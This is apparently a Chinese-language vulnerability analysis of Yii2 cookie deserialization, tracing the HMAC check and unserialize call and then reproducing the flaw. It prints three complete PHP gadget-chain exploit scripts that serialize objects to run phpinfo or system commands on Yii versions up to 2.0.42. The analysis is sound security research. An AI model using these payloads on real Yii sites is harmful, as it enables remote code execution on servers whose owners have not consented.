1. 原理分析
起初是发现yii2.0
框架的Cookie
内竟然包含php
序列化字符串,于是本地搭建环境,并进行源码分析和复现实验。


把上面_csrf
内容拆成两部分,即一个64bit
的字符串和php
序列化字符串
1 2 3 4 5 6 7
| 8ec3dd9f09fa0f7ba2c616c5bd747769af799b8cf4f9aec0ab49cf4bb5aefd68
a:2:{i:0;s:5:"_csrf";i:1;s:32:"lIq-Z4-Z69EZ4sVtPWI4Usy167yDwjbe";}
|
既然有序列化,那肯定有反序列化,找到了web/Request.php
文件的loadCookies
函数,部分代码如下图所示,确实是会将Cookie
内的序列化字符串取出来,进行反序列化。

首先会有两个前置条件:
- 判断是否开启
Cookie
校验,默认是开启的;
- 判断
cookieValidationKey
是否为空,也就是hmac_sha256
加密的所需要的密钥;
1 2
| if ($this->enableCookieValidation) { if ($this->cookieValidationKey == '') {
|
都符合条件后,会遍历Cookie
的所有变量,如最上面的图的Cookie
,则遍历出来的数据分别如下所示:
1 2
| $name => "PHPSESSID" $value => "xxxxx" $name => "_csrf" $value => "8ec3dd9f09fa0f7ba2c616c5bd747769af799b8cf4f9aec0ab49cf4bb5aefd68a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22lIq-Z4-Z69EZ4sVtPWI4Usy167yDwjbe%22%3B%7D"
|
而循环内的第一个关键判断代码如下
1 2 3 4 5
| $data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey); if ($data === false) { continue; }
|
进入validateData
函数继续进行分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public function validateData($data, $key, $rawHash = false) { $test = @hash_hmac($this->macHash, '', '', $rawHash); if (!$test) { throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash); } $hashLength = StringHelper::byteLength($test); if (StringHelper::byteLength($data) >= $hashLength) { $hash = StringHelper::byteSubstr($data, 0, $hashLength); $pureData = StringHelper::byteSubstr($data, $hashLength, null); $calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash); if ($this->compareString($hash, $calculatedHash)) { return $pureData; } } return false; }
|
所以如果我们要构造恶意的序列化字符串,那么前面的identify
一定要是恶意序列化字符串进行hmac_sha256
的加密结果。继续分析loadCookie
函数:
1 2 3 4 5
| if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) { $data = unserialize($data, ['allowed_classes' => false]); } else { $data = unserialize($data); }
|
而unserialize()
函数的官方文档如下所示,故如果php
版本大于7,则不能实例化类从而无法触发各种魔法函数达到我们想要的目的。
为什么php5
的版本不加这个选项?因为不支持,所以只有php
版本为5的时候,才能利用这个漏洞。

为了方便测试,我把限制去除掉,即将代码改为
1 2 3 4 5 6 7
| if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) { $data = unserialize($data); var_dump($data); } else { $data = unserialize($data); }
|
为了方便查看输出内容,我新建了一个路由为test/test2
的空白页面

总结:想要完成漏洞利用,需要具备以下几个前置条件:
php
版本不高于7;
- 获取到
hmac
加密的密钥;
- 找到可用的反序列化链;
2. 漏洞复现
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'phpinfo'; $this->id = '1'; } } } namespace Faker {
use yii\rest\IndexAction;
class Generator { protected $formatters;
public function __construct() { $this->formatters['close'] = [new IndexAction(), 'run']; } } } namespace yii\db{
use Faker\Generator;
class BatchQueryResult{ private $_dataReader; public function __construct() { $this->_dataReader=new Generator(); } } } namespace{
use yii\db\BatchQueryResult;
echo urlencode(serialize(new BatchQueryResult())); }
|
将上述恶意代码序列化成字符串,并计算其hmac
最后一起坪街道_csrf
变量值内,如下图,成功显示phpinfo
页面

也可以使用该代码执行系统命令(无回显)

exp2
yii <= 2.0.37
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'calc'; } } } namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult { private $_dataReader; public function __construct(){ $this->_dataReader=new DbSession(); } } } namespace yii\web{
use yii\rest\IndexAction;
class DbSession { public $writeCallback; public function __construct(){ $a=new IndexAction(); $this->writeCallback=[$a,'run']; } } }
namespace{
use yii\db\BatchQueryResult;
echo urlencode(serialize(new BatchQueryResult())); }
|

exp3
yii <= 2.0.42
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php
namespace Faker; class DefaultGenerator{ protected $default ; function __construct($argv) { $this->default = $argv; } }
class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($command,$argv) { $this->generator = new DefaultGenerator($argv); $this->validator = $command; $this->maxRetries = 1; } }
namespace Codeception\Extension; use Faker\ValidGenerator; class RunProcess{ private $processes = []; function __construct($command,$argv) { $this->processes[] = new ValidGenerator($command,$argv); } }
$exp = new RunProcess('system','calc'); echo(urlencode(serialize($exp)));
|

PS. 不知道是谁这么使坏,把maxRetries
设置成9999,复现的时候疯狂弹计算器